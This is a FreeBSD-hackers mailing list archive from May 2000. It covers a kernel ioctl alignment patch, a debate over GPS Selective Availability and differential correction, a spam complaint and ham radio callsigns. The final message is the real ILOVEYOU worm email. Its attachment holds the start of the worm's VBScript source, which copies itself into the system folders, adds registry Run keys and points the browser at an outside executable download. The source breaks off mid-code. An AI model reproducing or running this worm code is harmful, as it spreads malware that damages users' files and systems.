tf_eip = -1072225173, tf_cs = 8, tf_eflags = 66178, : tf_esp = -1071902645, tf_ss = -1059168256}) at ../../i386/i386/trap.c:423 :#15 0xc017246b in bpfioctl (dev=0xc0c0de60, cmd=12639866, : addr=0xff400800
    , flags=16777215, : p=0xacc0de60) at ../../net/bpf.c:683 :#16 0xc01c19 in ?? () :cannot read proc at 0 :(kgdb) : : :Is this more help? (shame I don't actually understand it..) : :Howard Leadmon - howardl@abs.net - http://www.abs.net Ahhhh hah! Yes, I think I see what is happening. The kernel ioctl() system call is using a stack based char buffer to hold the temporary data, and this buffer is not aligned. Please try the following patch. -Matt Matthew Dillon Index: kern/sys_generic.c =================================================================== RCS file: /home/ncvs/src/sys/kern/sys_generic.c,v retrieving revision 1.55 diff -u -r1.55 sys_generic.c --- kern/sys_generic.c 2000/02/20 13:36:26 1.55 +++ kern/sys_generic.c 2000/05/04 03:18:02 @@ -496,7 +496,10 @@ caddr_t data, memp; int tmp; #define STK_PARAMS 128 - char stkbuf[STK_PARAMS]; + union { + char stkbuf[STK_PARAMS]; + long align; + } ubuf; fdp = p->p_fd; if ((u_int)uap->fd >= fdp->fd_nfiles || @@ -523,11 +526,11 @@ if (size > IOCPARM_MAX) return (ENOTTY); memp = NULL; - if (size > sizeof (stkbuf)) { + if (size > sizeof (ubuf.stkbuf)) { memp = (caddr_t)malloc((u_long)size, M_IOCTLOPS, M_WAITOK); data = memp; } else - data = stkbuf; + data = ubuf.stkbuf; if (com&IOC_IN) { if (size) { error = copyin(uap->data, data, (u_int)size); To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 20:21:53 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 1906A37BF7D for ; Wed, 3 May 2000 20:21:48 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id VAA22559; Wed, 3 May 2000 21:21:46 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id VAA36306; Wed, 3 May 2000 21:21:27 -0600 (MDT) Message-Id: <200005040321.VAA36306@harmony.village.org> To: Matthew Dillon Subject: Re: GPS heads up Cc: hackers@FreeBSD.ORG In-reply-to: Your message of "Wed, 03 May 2000 20:03:48 PDT." <200005040303.UAA66590@apollo.backplane.com> References: <200005040303.UAA66590@apollo.backplane.com> <200005032313.QAA65552@apollo.backplane.com> <200005031744.KAA63550@apollo.backplane.com> <20000503200006.A35116@cichlids.cichlids.com> <200005031957.NAA01354@nomad.yogotech.com> <20000503130759.A15403@orion.ac.hmc.edu> <20000503221528.A37472@cichlids.cichlids.com> <20000503151513.D337@beastie.localdomain> <200005040230.UAA36034@harmony.village.org> Date: Wed, 03 May 2000 21:21:26 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200005040303.UAA66590@apollo.backplane.com> Matthew Dillon writes: : SA can *not* be averaged out. People... SA is NOT NOISE. I will : repeat that. SA is NOT NOISE. SA is an intentional error : introduced by the satellites that looks like a drunk walking around : the town. It takes a lot of readings over a long period of time : (read: at least a couple of days) for any sort of averaging to : yield a worthwhile result. What I was trying to say was that SA is caused by the satellites reporting times that have a small offset added to or subtracted from them. Knowing where you are requires that you know what time it is to a very precise degree. Once you know what time it is, you can know where you are. That's why SA injects a pseudo random noise factor into the timing information that the satellites report. If you have an atomic clock and a GPS clock, you can measure the offset between the two fairly easily and graph the results. That is what I mean when I say you can compensate for the SA if you have a good atomic clock. If you watch a system that is measuring this, you'll see that one second you are 65ns slow. The next you are 64 ns slow, the next you are 68ns slow the next you are 65ns slow. Come back an hour later and you'll find you are 135ns fast, then 130ns fast, then 140ns fast. After lunch it might be 12ns slow, then 10 ns slow then 8ns fast. Just before leavinvg for the day, you might be back up to 165ns fast. All of this is relative to an independent, high accuracy time source like an atomic clock. That's why you can't take the average of 20 readings in a row. You'll just be factoring out a very small part of the SA sequence. There's some jitter in the SA, but its biggest impact is the long period error that it introduced. Put another way, it takes days for the drunk to complete his random walk. :-) Averaging over a few minutes will only tell you where the drunk is at the moment and not his true center. Which is what I think Matt is trying to say. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 20:45:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 8EC2A37BF86 for ; Wed, 3 May 2000 20:45:44 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id UAA66777; Wed, 3 May 2000 20:45:37 -0700 (PDT) (envelope-from dillon) Date: Wed, 3 May 2000 20:45:37 -0700 (PDT) From: Matthew Dillon Message-Id: <200005040345.UAA66777@apollo.backplane.com> To: Warner Losh Cc: hackers@FreeBSD.ORG Subject: Re: GPS heads up Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :If you watch a system that is measuring this, you'll see that one :second you are 65ns slow. The next you are 64 ns slow, the next you :are 68ns slow the next you are 65ns slow. Come back an hour later and :you'll find you are 135ns fast, then 130ns fast, then 140ns fast. :After lunch it might be 12ns slow, then 10 ns slow then 8ns fast. :Just before leavinvg for the day, you might be back up to 165ns fast. :All of this is relative to an independent, high accuracy time source :like an atomic clock. That's why you can't take the average of 20 :readings in a row. You'll just be factoring out a very small part of :the SA sequence. There's some jitter in the SA, but its biggest :impact is the long period error that it introduced. : :Put another way, it takes days for the drunk to complete his random :walk. :-) Averaging over a few minutes will only tell you where the :drunk is at the moment and not his true center. : :Which is what I think Matt is trying to say. : :Warner Yes, pretty much. The timing information is what makes GPS work. Since you are moving, you expect the timing information to change (that's how you detect the fact that you are moving!), so averaging it wouldn't help much even if you had your own personal atomic clock. SA modifies *each* satellite's timing information independantly, in a way that moves the *entire* volume of space calculated by the GPS unit rather then simply stretching it (which is what random noise would do). If it simply stretched it the GPS unit would be able to calculate the center and thus provide an accurate fix. But it doesn't, so the GPS unit can't. Since the whole volume moves the GPS unit believes you are moving even if you are standing still. The correction algorithm only works if there is a second GPS unit at a fixed point (i.e. NOT moving). This second unit makes the assumption that it is standing still and broadcasts the 'error' it sees from the satellites. The first GPS unit receives the error information for each satellite from the second unit and is able to correct the timing information it sees from each satellite before applying its algorithms. It's ironic, but GPS wasn't accurate enough for marine use so the Coast Guard set up coastal beacon sites to transmit the corrections. Thus marine GPS units with beacon receivers could correct for the error and produce much more accurate results. Just about the entire coast of the U.S. has beacon transmitters. So ever since GPS was first deployed for civvy use, one government agency has been broadcasting corrections to the intentional errors introduced by another government agency. (I expect the coastal sites will be turned down now that they are no longer needed). There is a way to get extremely accurate GPS measurements with or without SA and that is to detect phase changes in the incoming signal. This only works if you are not moving or moving very slowly (for example, to measure plate movement for earthquake and seismic purposes). It does not help you calculate your position, it simply helps you calculate tiny changes in your position. It would not be useful to a moving object (the noise causes you to lose track of 360 degree phase changes), but it works great for really slow slow movement. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 22:12:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.roland.net (assigned.162.54.206.in-addr.arpa [206.54.162.175]) by hub.freebsd.org (Postfix) with ESMTP id 7717737B8F8 for ; Wed, 3 May 2000 22:12:41 -0700 (PDT) (envelope-from jim@roland.net) Received: from mail.roland.net (jim@mail.roland.net [206.54.162.164]) by mail.roland.net (8.8.7/8.8.7) with ESMTP id AAA26170; Thu, 4 May 2000 00:11:54 -0500 Date: Thu, 4 May 2000 00:11:51 -0500 (CDT) From: Jim Roland To: David Benfell Cc: Dave West , Dhar , hspio@worldnet.att.net, cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com Subject: Re: MAKE MONEY FOR DOING NOTHING!!!!!!!!! PROMISE In-Reply-To: <20000503142035.C410@greybeard95a.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I don't mean to be demeaning, but can we all please not comment and run an off-topic thread on something that should be deleted and ignored? Please stick to the list topic and leave spam alone, ignoring it like it should be. Simply report to the abuse mail addresses of the originating or carrying ISPs, and delete the message. -=>Jim Roland "Never settle with words what you can settle with a flamethrower." --Anonymous On Wed, 3 May 2000, David Benfell wrote: > Date: Wed, 3 May 2000 14:20:35 -0700 > From: David Benfell > To: Dave West > Cc: Dhar , hspio@worldnet.att.net, cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com > Subject: Re: MAKE MONEY FOR DOING NOTHING!!!!!!!!! PROMISE > > On Wed, May 03, 2000 at 06:27:32PM +0100, Dave West wrote: > > > > Actually it's better to just tell AllAdvantage.com and they will cancell > > his account and bar him for life. > > > So he can use another false name with another ISP. > > -- > David Benfell > ICQ 59438240 [e-mail first for access] > --- > "I am ready to meet my Maker. Whether my Maker is prepared for the > great ordeal of meeting me is another matter." > -- Winston Churchill > [from fortune] > > > -====---====---====---====---====---====---====---====---====---====---====- > to unsubscribe email "unsubscribe linux-admin" to majordomo@vger.rutgers.edu > See the linux-admin FAQ: http://www.kalug.lug.net/linux-admin-FAQ/ > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 22:36:44 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id A962C37B608 for ; Wed, 3 May 2000 22:36:41 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id HAA02290; Thu, 4 May 2000 07:36:05 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Matthew Dillon Cc: Warner Losh , hackers@FreeBSD.ORG Subject: Re: GPS heads up In-reply-to: Your message of "Wed, 03 May 2000 20:03:48 PDT." <200005040303.UAA66590@apollo.backplane.com> Date: Thu, 04 May 2000 07:36:05 +0200 Message-ID: <2288.957418565@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200005040303.UAA66590@apollo.backplane.com>, Matthew Dillon writes: >:The SA can be averaged out, but you need to have another source of >:time as well as GPS. GPS alone will give you a grid square you are >:in, but the nature of the pseudorandom noise is such that you don't >:get a nice sine wave (collapsing for a moment to 1 dimention). It is >:much more distorted than that. >: >:Warner > > SA can *not* be averaged out. People... SA is NOT NOISE. SA *can* be averaged out, it has an average value of zero. But it takes several days or even weeks to get into the centimeter range, depending on the satelite coverage where you are. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu May 4 0: 2: 4 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from obie.softweyr.com (obie.softweyr.com [204.68.178.33]) by hub.freebsd.org (Postfix) with ESMTP id A3B2837BFDD for ; Thu, 4 May 2000 00:01:43 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from softweyr.com (Foolstrustident!@homer.softweyr.com [204.68.178.39]) by obie.softweyr.com (8.8.8/8.8.8) with ESMTP id BAA04219; Thu, 4 May 2000 01:01:27 -0600 (MDT) (envelope-from wes@softweyr.com) Message-ID: <39112085.DD0E6502@softweyr.com> Date: Thu, 04 May 2000 01:02:29 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 4.0-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Warner Losh Cc: Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up References: <200005040303.UAA66590@apollo.backplane.com> <200005032313.QAA65552@apollo.backplane.com> <200005031744.KAA63550@apollo.backplane.com> <20000503200006.A35116@cichlids.cichlids.com> <200005031957.NAA01354@nomad.yogotech.com> <20000503130759.A15403@orion.ac.hmc.edu> <20000503221528.A37472@cichlids.cichlids.com> <20000503151513.D337@beastie.localdomain> <200005040230.UAA36034@harmony.village.org> <200005040321.VAA36306@harmony.village.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Warner Losh wrote: > > What I was trying to say was that SA is caused by the satellites > reporting times that have a small offset added to or subtracted from > them. Knowing where you are requires that you know what time it is to > a very precise degree. Once you know what time it is, you can know > where you are. That's why SA injects a pseudo random noise factor > into the timing information that the satellites report. If you have > an atomic clock and a GPS clock, you can measure the offset between > the two fairly easily and graph the results. That is what I mean when > I say you can compensate for the SA if you have a good atomic clock. This is what "Differential GPS" provides: a standard time source that can be used to remove the SA meanderings from the GPS fix. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu May 4 0:30:16 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from jason.argos.org (a1-3b058.neo.rr.com [24.93.181.58]) by hub.freebsd.org (Postfix) with ESMTP id 4EA5B37BFDD for ; Thu, 4 May 2000 00:30:04 -0700 (PDT) (envelope-from mike@argos.org) Received: from localhost (mike@localhost) by jason.argos.org (8.9.1/8.9.1) with ESMTP id DAA04098; Thu, 4 May 2000 03:29:30 -0400 Date: Thu, 4 May 2000 03:29:30 -0400 (EDT) From: Mike Nowlin To: Wes Peters Cc: Warner Losh , Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up In-Reply-To: <39112085.DD0E6502@softweyr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > This is what "Differential GPS" provides: a standard time source that > can be used to remove the SA meanderings from the GPS fix. If I'm understanding this correctly (with very little actual research into it) is that a DGPS station essentially transmits the difference between what it "hears" as it's location and what it's actual measured location is to the clients, which apply this change to their local "heard" position. (Assuming that both sides are within the appropriate range of each other that allows them to hear the same satellites.) Do I have it about right? (I just hooked up my Garmin GPS-20 and my Delorme Tripmate again to my "figure out what the differences are between these two GPS units are and plot them on the screen" program -- it'll be interesting to compare the results from now and 6 months ago...) Out of curiosity, how many people in this discussion are hams? --mike N8NVW (Funny how the GPS changes are two weeks after the FCC Part 97 licensing changes took place... I wonder if there's any (even remote) connection...) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu May 4 0:41:27 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from corinth.bossig.com (corinth.bossig.com [208.26.239.66]) by hub.freebsd.org (Postfix) with ESMTP id C33A037B78E for ; Thu, 4 May 2000 00:41:22 -0700 (PDT) (envelope-from kstewart@3-cities.com) Received: from 3-cities.com (unverified [208.26.242.205]) by corinth.bossig.com (Rockliffe SMTPRA 4.2.1) with ESMTP id ; Thu, 4 May 2000 00:45:57 -0700 Message-ID: <391129AD.3050461@3-cities.com> Date: Thu, 04 May 2000 00:41:33 -0700 From: Kent Stewart Organization: Columbia Basin Virtual Community Project X-Mailer: Mozilla 4.72 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Mike Nowlin Cc: Wes Peters , Warner Losh , Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mike Nowlin wrote: > > > This is what "Differential GPS" provides: a standard time source that > > can be used to remove the SA meanderings from the GPS fix. > > If I'm understanding this correctly (with very little actual research into > it) is that a DGPS station essentially transmits the difference between > what it "hears" as it's location and what it's actual measured location > is to the clients, which apply this change to their local "heard" > position. (Assuming that both sides are within the appropriate range of > each other that allows them to hear the same satellites.) > > Do I have it about right? > > (I just hooked up my Garmin GPS-20 and my Delorme Tripmate again to my > "figure out what the differences are between these two GPS units are and > plot them on the screen" program -- it'll be interesting to compare the > results from now and 6 months ago...) > > Out of curiosity, how many people in this discussion are hams? > > --mike N8NVW > > (Funny how the GPS changes are two weeks after the FCC Part 97 licensing > changes took place... I wonder if there's any (even remote) > connection...) I think there is one or more GPS systems up there. When you have the only one, you can introduce side effects like that and they matter. When someone else has one, it doesn't matter that much any more. IIRC Russia was starting to put one up more than a year ago. If we don't think it matters anymore, than one of them is operational. Kent - ka7gkw > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message -- Kent Stewart Richland, WA mailto:kstewart@3-cities.com http://www.3-cities.com/~kstewart/index.html FreeBSD News http://daily.daemonnews.org/ SETI(Search for Extraterrestrial Intelligence) @ HOME http://setiathome.ssl.berkeley.edu/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu May 4 0:46: 8 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id F0B0937B78E for ; Thu, 4 May 2000 00:46:05 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id AAA67587; Thu, 4 May 2000 00:44:47 -0700 (PDT) (envelope-from dillon) Date: Thu, 4 May 2000 00:44:47 -0700 (PDT) From: Matthew Dillon Message-Id: <200005040744.AAA67587@apollo.backplane.com> To: Mike Nowlin Cc: Wes Peters , Warner Losh , hackers@FreeBSD.ORG Subject: Re: GPS heads up References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Out of curiosity, how many people in this discussion are hams? : :--mike N8NVW -Matt KC6LVW -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu May 4 0:47: 0 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from server1.huntsvilleal.com (server1.huntsvilleal.com [63.147.8.7]) by hub.freebsd.org (Postfix) with ESMTP id 22F1A37B78E for ; Thu, 4 May 2000 00:46:57 -0700 (PDT) (envelope-from kris@hiwaay.net) Received: from barricuda.bsd.nws.net (kris.huntsvilleal.com [63.147.8.46]) by server1.huntsvilleal.com (8.9.3/8.9.3) with ESMTP id CAA21158; Thu, 4 May 2000 02:24:25 -0400 Received: from localhost (localhost [127.0.0.1]) by barricuda.bsd.nws.net (8.9.3/8.9.3) with ESMTP id BAA06359; Thu, 4 May 2000 01:47:00 -0500 (CDT) (envelope-from kris@hiwaay.net) Date: Thu, 4 May 2000 01:47:00 -0500 (CDT) From: Kris Kirby To: Matthew Dillon Cc: Warner Losh , hackers@FreeBSD.ORG Subject: Re: GPS heads up In-Reply-To: <200005040303.UAA66590@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > SA can *not* be averaged out. People... SA is NOT NOISE. I will > repeat that. SA is NOT NOISE. SA is an intentional error > introduced by the satellites that looks like a drunk walking around > the town. It takes a lot of readings over a long period of time > (read: at least a couple of days) for any sort of averaging to > yield a worthwhile result. Two points: 1. The drunken walker idea is rather accurate if you look at a plot. 2. We've actually observed sine-wave like disturbances affecting the plot. It was SA's induced error, plotted over a few hours. ----- Kris Kirby, KE4AHR | TGIFreeBSD... 'Nuff said. | ------------------------------------------------------- "Fate, it seems, is not without a sense of irony." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu May 4 0:49:16 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from server1.huntsvilleal.com (server1.huntsvilleal.com [63.147.8.7]) by hub.freebsd.org (Postfix) with ESMTP id 3CC8237B78E for ; Thu, 4 May 2000 00:49:14 -0700 (PDT) (envelope-from kris@hiwaay.net) Received: from barricuda.bsd.nws.net (kris.huntsvilleal.com [63.147.8.46]) by server1.huntsvilleal.com (8.9.3/8.9.3) with ESMTP id CAA21176; Thu, 4 May 2000 02:26:42 -0400 Received: from localhost (localhost [127.0.0.1]) by barricuda.bsd.nws.net (8.9.3/8.9.3) with ESMTP id BAA07347; Thu, 4 May 2000 01:49:17 -0500 (CDT) (envelope-from kris@hiwaay.net) Date: Thu, 4 May 2000 01:49:17 -0500 (CDT) From: Kris Kirby To: Mike Nowlin Cc: hackers@FreeBSD.ORG Subject: Who is a ham? (Was: Re: GPS heads up) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Out of curiosity, how many people in this discussion are hams? > > --mike N8NVW > Not me. :-p ----- Kris Kirby, KE4AHR | TGIFreeBSD... 'Nuff said. | ------------------------------------------------------- "Fate, it seems, is not without a sense of irony." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu May 4 1: 7:17 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 676EB37B5BA for ; Thu, 4 May 2000 01:07:14 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id BAA67715; Thu, 4 May 2000 01:01:25 -0700 (PDT) (envelope-from dillon) Date: Thu, 4 May 2000 01:01:25 -0700 (PDT) From: Matthew Dillon Message-Id: <200005040801.BAA67715@apollo.backplane.com> To: Poul-Henning Kamp Cc: Warner Losh , hackers@FreeBSD.ORG Subject: Re: GPS heads up References: <2288.957418565@critter.freebsd.dk> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :SA *can* be averaged out, it has an average value of zero. But it :takes several days or even weeks to get into the centimeter range, :depending on the satelite coverage where you are. : :-- :Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 :phk@FreeBSD.ORG | TCP/IP since RFC 956 Months or years to get into the centimeter range. Days to get in the 50 ft range, weeks to get into the 14 ft range. That's based on measurements. And SA does *NOT* have an average value of 0 even if you take a month's worth of data. Try to depend on the average and you will be screwed. What you do is use the worse case error (over a couple of days) to create an area, then take the middle of the area. That will give you better results then an average (the points within the volume will not be spread evenly so taking an average will result in an offset). -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu May 4 4:20:12 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from kumr.lns.com (kumr.lns.com [140.174.7.1]) by hub.freebsd.org (Postfix) with ESMTP id BF96E37B842 for ; Thu, 4 May 2000 04:20:06 -0700 (PDT) (envelope-from pozar@kumr.lns.com) Received: (from pozar@localhost) by kumr.lns.com (8.9.3/8.9.3) id EAA37548 for hackers@freebsd.org; Thu, 4 May 2000 04:22:25 -0700 (PDT) (envelope-from pozar) Date: Thu, 4 May 2000 04:22:25 -0700 From: Tim Pozar To: hackers@freebsd.org Subject: GPS heads up Message-ID: <20000504042225.A37410@lns.com> References: <957435060.11016@egroups.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <957435060.11016@egroups.com>; from freebsd-hackers@egroups.com on Thu, May 04, 2000 at 10:11:00AM -0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 4 May 2000 00:44:47 -0700 (PDT) Matthew Dillon wrote: > :Out of curiosity, how many people in this discussion are hams? > : > :--mike N8NVW > > -Matt KC6LVW KC6GNJ Tim -- Snail: Tim Pozar / LNS / 1978 45th Ave / San Francisco CA 94116 / USA POTS: +1 415 665 3790 Radio: KC6GNJ / KAE6247 "It's a damn poor mind that can only think of one way to spell a word." - Andrew Jackson "What is wanted is not the will to believe, but the will to find out, which is the exact opposite." - Bertrand Russel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu May 4 5:44:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mailb.telia.com (mailb.telia.com [194.22.194.6]) by hub.freebsd.org (Postfix) with ESMTP id 6F71C37BE14 for ; Thu, 4 May 2000 05:44:36 -0700 (PDT) (envelope-from blomman@servicefactory.com) Received: from d1o71.telia.com (d1o71.telia.com [194.237.172.245]) by mailb.telia.com (8.9.3/8.9.3) with ESMTP id OAA10802 for ; Thu, 4 May 2000 14:44:32 +0200 (CEST) Received: from k9d4 (k9d4.isdn-adv.telia.com [195.198.192.68]) by d1o71.telia.com (8.8.8/8.8.8) with SMTP id OAA29199 for ; Thu, 4 May 2000 14:44:31 +0200 (CEST) Reply-To: From: "Lennart Blomstrom" To: "'E-mail'" Subject: ILOVEYOU Date: Thu, 4 May 2000 14:27:59 +0200 Message-ID: <007701bfb5c6$6073d820$0a0f010a@k9d4> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0078_01BFB5D7.23FCA820" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0078_01BFB5D7.23FCA820 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit kindly check the attached LOVELETTER coming from me. ------=_NextPart_000_0078_01BFB5D7.23FCA820 Content-Type: application/octet-stream; name="LOVE-LETTER-FOR-YOU.TXT.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="LOVE-LETTER-FOR-YOU.TXT.vbs" rem barok -loveletter(vbe) =0Drem by: spyder / = ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines=0DOn = Error Resume Next=0Ddim = fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow=0Deq=3D""=0Dctr=3D0=0D= Set fso =3D CreateObject("Scripting.FileSystemObject")=0Dset file =3D = fso.OpenTextFile(WScript.ScriptFullname,1)=0Dvbscopy=3Dfile.ReadAll=0Dmai= n()=0Dsub main()=0DOn Error Resume Next=0Ddim wscr,rr=0Dset = wscr=3DCreateObject("WScript.Shell")=0Drr=3Dwscr.RegRead("HKEY_CURRENT_US= ER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")=0Dif = (rr>=3D1) then=0Dwscr.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting = Host\Settings\Timeout",0,"REG_DWORD"=0Dend if=0DSet dirwin =3D = fso.GetSpecialFolder(0)=0DSet dirsystem =3D = fso.GetSpecialFolder(1)=0DSet dirtemp =3D fso.GetSpecialFolder(2)=0DSet = c =3D = fso.GetFile(WScript.ScriptFullName)=0Dc.Copy(dirsystem&"\MSKernel32.vbs")= =0Dc.Copy(dirwin&"\Win32DLL.vbs")=0Dc.Copy(dirsystem&"\LOVE-LETTER-FOR-YO= U.TXT.vbs")=0Dregruns()=0Dhtml()=0Dspreadtoemail()=0Dlistadriv()=0Dend = sub=0Dsub regruns()=0DOn Error Resume Next=0DDim = num,downread=0Dregcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKerne= l32",dirsystem&"\MSKernel32.vbs"=0Dregcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices= \Win32DLL",dirwin&"\Win32DLL.vbs"=0Ddownread=3D""=0Ddownread=3Dregget("HK= EY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download = Directory")=0Dif (downread=3D"") then=0Ddownread=3D"c:\"=0Dend if=0Dif = (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then=0DRandomize=0Dnum =3D = Int((4 * Rnd) + 1)=0Dif num =3D 1 then=0Dregcreate = "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmh= Pnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"=0Delseif num =3D 2 = then=0Dregcreate 